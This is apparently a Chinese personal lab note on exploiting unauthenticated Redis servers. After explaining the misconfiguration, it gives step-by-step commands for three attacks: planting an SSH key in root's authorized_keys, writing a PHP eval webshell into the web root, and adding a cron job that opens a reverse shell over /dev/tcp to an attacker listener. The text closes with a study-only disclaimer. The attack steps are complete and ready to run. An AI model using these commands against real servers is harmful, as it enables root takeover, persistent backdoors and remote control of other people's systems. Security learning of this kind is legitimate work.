redis未授权访问漏洞

漏洞原理

  1. redis绑定在 0.0.0.0:6379,且没有进行添加防火墙规则避免其他非信任来源ip访问等相关安全策略,直接暴露在公网。
  2. 没有设置密码认证(一般为空)或者设置弱口令密码,导致任何用户可以远程登录redis服务。

意思大概就是,由于管理者配置不当,导致任何人都可以(通过redis客户端)登录他的redis服务,然后搞事情。 比如删数据、写入一句话木马、上传公钥登录ssh服务、反弹shell

管理者如何配置不当?

  1. 没有设置密码,或者设置密码为弱口令
  2. 没有开启防火墙
  3. 将6379端口直接暴露在公网上,允许任何人访问
  4. 将将protected-mode设置为no,把保护关掉。
  5. 用管理员身份运行redis服务

漏洞环境

ubuntu下的的redis

漏洞复现

  1. 扫描靶机端口,看是否开放6379端口
    在这里插入图片描述
  2. 发现6379开放,且是redis服务,于是用redis客户端直接连接,看是否存在密码。使用info命令i查看基本信息。
    在这里插入图片描述
    发现没有密码,可以直接登录,info命令有回显。证明存在redis未授权访问漏洞。

利用方式一
写入SSH公钥实现ssh登录

  1. 到~/.ssh目录下,生成自己的公钥
ssh-keygen -t rsa
  1. 将公钥写入一个txt文件
(echo -e"\n";cat id_rsa.pub;echo -e "\n")>1.txt
  1. 将公钥中的内容作为值写入到hack中
cat 1.txt | ./redis-cli -h ip -p 6379 -x set hack
  1. 连接redis服务
./redis-cli -h ip -p 6379	
  1. 更改redis备份路径为ssh公钥存放目录
config set dir /root/.ssh		
  1. 设置上传公钥的备份文件名字为authorized_keys,保存,退出
config set dbfilename authorized_keys
save						
exit						
  1. 尝试登录
ssh -i id_rsa root@ip

在这里插入图片描述
登录成功!权限为root

利用方式二
写入一句话木马

config set dir /var/www/html/ 
config set  dbfilename shell.php 
set x "<?php eval($_POST['cmd']);?>" 
或者:
set shell "\r\n\r\n<?php @eval($_POST['cmd']);?>\r\n\r\n"
save

在这里插入图片描述

访问成功

在这里插入图片描述

用蚁剑连接

在这里插入图片描述
连接成功!

利用方式三
反弹shell

redis-cli -h 192.168.217.130

//写入反弹命令
set xxx "\n\n*/1 * * * * /bin/bash -i>&/dev/tcp/ip/8888 0>&1\n\n"
config set dir /var/spool/cron/crontabs/
config set dbfilename root
save

结束!

基础知识

杀死redis进程
1. ps -ef|grep redis
 
示例:
[root@iz2ze5w0d1f4lqljfb9ld0z ~]# ps -ef | grep redis
root 12745 11480  0 15:01 ?        00:00:00 ./redis-server *:6379
root     14769 14731  0 15:17 pts/6    00:00:00 grep --color=auto redis
 
2. kill -9 pid

示例:
kill -9 12745

redis基础语法

/etc/init.d/redis-server stop 
/etc/init.d/redis-server start 
/etc/init.d/redis-server restart

参考博客:Redis 未授权访问漏洞复现

免责声明:
本文属于个人笔记,仅用于学习,禁止使用于任何违法行为,任何违法行为与本人无关。

Logo

为开发者提供学习成长、分享交流、生态实践、资源工具等服务,帮助开发者快速成长。

更多推荐